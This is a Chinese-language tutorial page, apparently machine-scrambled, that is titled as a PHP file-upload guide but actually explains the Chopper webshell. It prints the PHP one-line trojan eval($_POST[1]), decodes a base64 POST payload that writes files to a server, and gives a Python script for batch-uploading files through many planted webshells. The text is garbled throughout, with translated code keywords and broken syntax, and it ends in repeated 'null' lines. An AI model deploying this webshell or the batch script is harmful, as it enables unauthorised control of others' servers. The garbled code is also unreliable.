利用PHP怎么对文件进行单个上传

  介绍

这篇文章将为大家详细讲解有关利用PHP怎么对文件进行单个上,传文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

<强> 0×01原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。

下面是最常见的PHP一句话木马:

& lt; ? php  eval ($ _POST[1]);, ?在

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。

那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过发布方法传过来的命令语句。

因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的网址发送一个带文件写入命令的帖子请求即可,比如:

<强>:

1 ($ _POST [z0]);=@ eval调用这些查找,z0=echo $ _SERVER [& # 39; document_root # 39;];

<强>上面代码包含2个部分:

1。一句话的密码

2。发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的帖子请求即可完成利用一句话上传文件的功能:

<强>:

1=@eval (base64_decode ($ _POST [z0]));和z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0 + fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7& z1=L3Zhci93d3cvcm9vdC8xLnR4dA==, z2=aGVsbG8gd29ybGQh

<>强仔细分析一下这段帖子数据包含以下几个部分:

1。首先是php一句话的密码1

2。通过eval方法来执行base64解码后的z0,解码整理后显示如下:

@ini_set (“display_errors",“0”);   @set_time_limit (0);   @set_magic_quotes_runtime (0);   回声(“→”|“);;   f=base64_decode美元($ _POST [“z1"]);   c=base64_decode美元($ _POST [“z2"]);   $ c=str_replace (“\ r",““, $ c);   $ c=str_replace (“\ n",““, $ c);   $ buf=?“;   (我=0;i<美元;strlen ($ c); i +=1美元),,   buf美元。才能=substr (c,我美元,1);   回声(@fwrite (fopen (f,美元“w"),美元buf));   回声(“| & lt;产生绯闻);   die ();

3。在z0中继续调用base64解码后的z1和z2,解码后如下:

z1=/var/www/根/1.三种   z2=hello 世界!

至此,我们可以很清楚的发现上面的帖子请求的作用实际上是将一个写有hello world !的名为1。txt的文件上传至服务器上/var/www/根/路径下。

0×2代码实现

基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:

# !/usr/bin/python    #=utf-8 编码;   import  urllib    import  urllib2   import 系统   import  base64   import 再保险   def 职位(url,数据):,   时间=req 才能;urllib2.Request (url),   时间=data 才能;urllib.urlencode(数据),,   时间=opener 才能;urllib2.build_opener (urllib2.HTTPCookieProcessor ()),   response 才能=,opener.open(请求,数据),   return 才能;response.read (),   def  get_shell_path (posturl passwd):   shell_path 才能=,““   尝试才能:   ,,,data =, {}   ,,,数据(密码),=,& # 39;@eval (base64_decode ($ _POST [z0])); & # 39;   ,,,数据(& # 39;z0 # 39;]=& # 39; ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107& # 39;   ,,,shell_path =, post (posturl,数据).strip ()   except 才能;例外:   ,才能通过   return  shell_path才能   def  main ():   print 才能;& # 39;\ n + + + + + + + + + Batch  Uploading  Local  File  (Only  for  PHP 网站管理权限)+ + + + + + + + + + \ n # 39;   时间=shellfile 才能;sys.argv[1], #,存放网站管理权限路径和密码的文件   时间=localfile 才能;sys.argv[2], #,本地待上传的文件名   shell_file =,开放才能(shellfile & # 39; rb # 39;)   local_content 才能=,str(打开(localfile & # 39; rb # 39;) .read ())   for 才能;eachline  shell_file:拷贝   ,,,posturl =, eachline.split (& # 39; & # 39;) [0] .strip ()   ,,,passwd =, eachline.split (& # 39; & # 39;) [1] .strip ()   ,,,试一试:   ,,,,,reg =,“。*/([^/] * \ . php ?)“;   ,,,,,match_shell_name =, re.search (reg eachline)   ,,,,,if  match_shell_name:   ,,,,,,,shell_name=match_shell_name.group (1)   ,,,,,,,shell_path =, get_shell_path (posturl passwd) .strip ()   ,,,,,,,target_path =, shell_path.split (shell_name) [0] + localfile   ,,,,,,,target_path_base64 =, base64.b64encode (target_path)   ,,,,,,,target_file_url =, eachline.split (shell_name) [0] + localfile   ,,,,,,,data =, {}   ,,,,,,,数据(密码),=,& # 39;@eval (base64_decode ($ _POST [z0])); & # 39;   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null

利用PHP怎么对文件进行单个上传